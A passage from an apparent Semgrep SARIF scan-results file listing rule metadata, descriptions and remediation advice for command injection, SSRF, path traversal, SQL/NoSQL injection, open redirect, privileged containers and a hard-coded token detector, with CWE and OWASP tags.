Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec","id":"php.lang.security.injection.tainted-exec.tainted-exec","name":"php.lang.security.injection.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","id":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","name":"csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint-grpc.httpclient-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n","text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container","id":"yaml.kubernetes.security.privileged-container.privileged-container","name":"yaml.kubernetes.security.privileged-container.privileged-container","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.privileged-container.privileged-container"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open","id":"python.flask.security.injection.path-traversal-open.path-traversal-open","name":"python.flask.security.injection.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"help":{"markdown":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection)\n - [https://github.com/argoproj/argo-workflows/issues/5061](https://github.com/argoproj/argo-workflows/issues/5061)\n - [https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370](https://github.com/argoproj/argo-workflows/issues/5114#issue-808865370)\n","text":"Using input or workflow parameters in here-scripts can lead to command injection or code injection. Convert the parameters to env variables instead."},"helpUri":"https://semgrep.dev/r/yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","id":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","name":"yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 – Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.argo.security.argo-workflow-parameter-command-injection.argo-workflow-parameter-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Sauce Token detected"},"help":{"markdown":"Sauce Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Sauce Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token","id":"generic.secrets.security.detected-sauce-token.detected-sauce-token","name":"generic.secrets.security.detected-sauce-token.detected-sauce-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sauce-token.detected-sauce-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","id":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","name":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","id":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","name":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","id":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","name":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django","id":"python.django.file.tainted-shelve-django.tainted-shelve-django","name":"python.django.file.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"help":{"markdown":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb)\n - [https://golang.org/pkg/io/#CopyN](https://golang.org/pkg/io/#CopyN)\n - [https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go](https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go)\n","text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"helpUri":"https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","id":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","name":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask","id":"python.flask.db.ponyorm-flask.ponyorm-flask","name":"python.flask.db.ponyorm-flask.ponyorm-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.ponyorm-flask.ponyorm-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","id":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","name":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","id":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","name":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django","id":"python.django.db.sqlobject-django.sqlobject-django","name":"python.django.db.sqlobject-django.sqlobject-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-django.sqlobject-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","id":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","name":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","id":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","name":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.vertx-sqli.vertx-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","id":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","name":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH 